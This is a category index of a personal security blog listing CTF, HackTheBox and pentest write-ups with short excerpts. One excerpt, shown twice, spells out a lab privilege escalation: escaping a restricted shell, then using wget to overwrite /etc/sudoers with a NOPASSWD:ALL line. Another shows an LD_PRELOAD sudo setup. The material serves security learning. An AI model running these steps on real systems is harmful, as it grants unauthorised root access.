Posts by Category

hackthebox

Exploiting Apache Tomcat & Abusing LXD Membership for PrivEsc

  7 minute read

Tabby is a linux box rate as easy. We need to get /etc/tomcat9/tomcat-users.xml file to collect credential through LFI. Then, we could upload WAR file to victim to gain initial shell. To move into ash shell, we have to crack the backup zip file. To escalate into root, we could abusing lxd group membership to obtain root privilege.

Abusing DNS Admin Membership by DLL Injection in “dns.exe” for PrivEsc in Active Directory

  5 minute read

Resolute was a medium level Windows computer that included a list of users and login discoveries for the SMB system. This password has been pulsed into the SMB login via hydra to the usernames identified. The listing of the privilege escalation led us to another member of the DnsAdmins group. Then, by violating his admin’s right to charge the DLL injection to obtain the Admin shell.

Back to Top ↑

tool

cleanTask.bat

  3 minute read

I got a task to clean some malicious files in Windows. Instead of removing manually the malicious files, im going to do simple batch script to automated the task. Due to the privacy, im just write the dummy malicious samples.

Back to Top ↑

notes

notes-nmap-scripting

  6 minute read

Notes i gathered after reading Practical Web Penetration Testing - Gus Khawaja. Service probing and enumeration. In the preceding step, we used the Nmap script to quickly probe each service that we found. In this step, we will take this information to the next step and try to probe aggressively. This script is too noisy in production environment. Hence, know your target is crucial. The Nmap scripts that we will use in the following examples are both very aggressive and time-consuming:

Simple-Guide-to-Web-Pentest

  5 minute read

some references i made after enrolled udemy course by Zaid Sabih (Learn Website Hacking / Penetration Testing From Scratch)

CTF Pentesting Guide

  33 minute read

some notes i gathered online when doing ctf pentesting. Super credit to all pages that have been mentioned. https://book.hacktricks.xyz/ https://sushant747.gitbooks.io/total-oscp-guide/ https://www.hackingarticles.in/penetration-testing/ https://guide.offsecnewbie.com/ https://github.com/swisskyrepo/PayloadsAllTheThings

Back to Top ↑

thm

Multiple Techniques for Linux Privilege Escalation

  1 minute read

In order to gain root shell, we need to escalate our privilege from local user to root to have best permission on the current system. Privilege escalation could be exploit by different techniques depending on how the linux system is configured by system admin. Here, we can learn different techniques to obtain root shell.

Back to Top ↑

network

notes-nmap-scripting

  6 minute read

Notes i gathered after reading Practical Web Penetration Testing - Gus Khawaja. Service probing and enumeration. In the preceding step, we used the Nmap script to quickly probe each service that we found. In this step, we will take this information to the next step and try to probe aggressively. This script is too noisy in production environment. Hence, know your target is crucial. The Nmap scripts that we will use in the following examples are both very aggressive and time-consuming:

CTF Pentesting Guide

  33 minute read

some notes i gathered online when doing ctf pentesting. Super credit to all pages that have been mentioned. https://book.hacktricks.xyz/ https://sushant747.gitbooks.io/total-oscp-guide/ https://www.hackingarticles.in/penetration-testing/ https://guide.offsecnewbie.com/ https://github.com/swisskyrepo/PayloadsAllTheThings

Back to Top ↑

web

Simple-Guide-to-Web-Pentest

  5 minute read

some references i made after enrolled udemy course by Zaid Sabih (Learn Website Hacking / Penetration Testing From Scratch)

Back to Top ↑

ctflive

PrivEsc abusing Sudo (LD_PRELOAD)

  1 minute read

noobuser@attackdefense:~$ id uid=999(noobuser) gid=999(noobuser) groups=999(noobuser) noobuser@attackdefense:~$ sudo -l Matching Defaults entries for noobuser on attackdefense: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD User noobuser may run the following commands on attackdefense: (root) NOPASSWD: /usr/sbin/apache2

PrivEsc abusing WGET SUID

  less than 1 minute read

https://www.ctf.live/challengedetails?cid=21 escape restricted shell fesal@rbash_attackdefense:~$ :set shell=/bin/bash :shell export PATH=.bin:/usr/bin/ echo $PATH use wget SUID to transfer file to /etc/sudoers cd /tmp vi sudoers :i[enter] - to edit file fesal ALL=(ALL) NOPASSWD:ALL :wq - - to save exit file python -m SimpleHTTPServer 8009 & -O /etc/sudoers ~~[why need '&' - to use terminal and simpleServer works in bg]~~ export URL=http://127.0.0.1:8009/sudoers export LFILE=/etc/sudoers wget $URL -O $LFILE sudo -i root@rbash_attackdefense:~$

Back to Top ↑

privesc

PrivEsc abusing Sudo (LD_PRELOAD)

  1 minute read

noobuser@attackdefense:~$ id uid=999(noobuser) gid=999(noobuser) groups=999(noobuser) noobuser@attackdefense:~$ sudo -l Matching Defaults entries for noobuser on attackdefense: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD User noobuser may run the following commands on attackdefense: (root) NOPASSWD: /usr/sbin/apache2

PrivEsc abusing WGET SUID

  less than 1 minute read

https://www.ctf.live/challengedetails?cid=21 escape restricted shell fesal@rbash_attackdefense:~$ :set shell=/bin/bash :shell export PATH=.bin:/usr/bin/ echo $PATH use wget SUID to transfer file to /etc/sudoers cd /tmp vi sudoers :i[enter] - to edit file fesal ALL=(ALL) NOPASSWD:ALL :wq - - to save exit file python -m SimpleHTTPServer 8009 & -O /etc/sudoers ~~[why need '&' - to use terminal and simpleServer works in bg]~~ export URL=http://127.0.0.1:8009/sudoers export LFILE=/etc/sudoers wget $URL -O $LFILE sudo -i root@rbash_attackdefense:~$

Back to Top ↑

repo

Pin-Repo

  less than 1 minute read

homepage

Back to Top ↑

ctf

HackerTest.net write-up

  14 minute read

HackerTest.net is your own online hacker simulation. With 20 levels that require different skills to get to another step of the game, this new real-life imitation will help you advance your security knowledge. HackerTest.net will help you improve your JavaScript, PHP, HTML and graphic thinking in a fun way that will entertain any visitor! Have a spare minute? Log on! Each level will provide you with a new, harder clue to find a way to get to another level. Will you crack HackerTest.net?_

Back to Top ↑

malware

Back to Top ↑

linux privesc

Multiple Techniques for Linux Privilege Escalation

  1 minute read

In order to gain root shell, we need to escalate our privilege from local user to root to have best permission on the current system. Privilege escalation could be exploit by different techniques depending on how the linux system is configured by system admin. Here, we can learn different techniques to obtain root shell.

Back to Top ↑

active directory

Back to Top ↑

iot

Back to Top ↑

linux

Common Linux Persistence Techniques

  12 minute read

The adversary is attempting to keep their foothold. Persistence refers to strategies used by adversaries to maintain access to systems despite restarts, changing credentials, and other disruptions that may terminate their access.

Back to Top ↑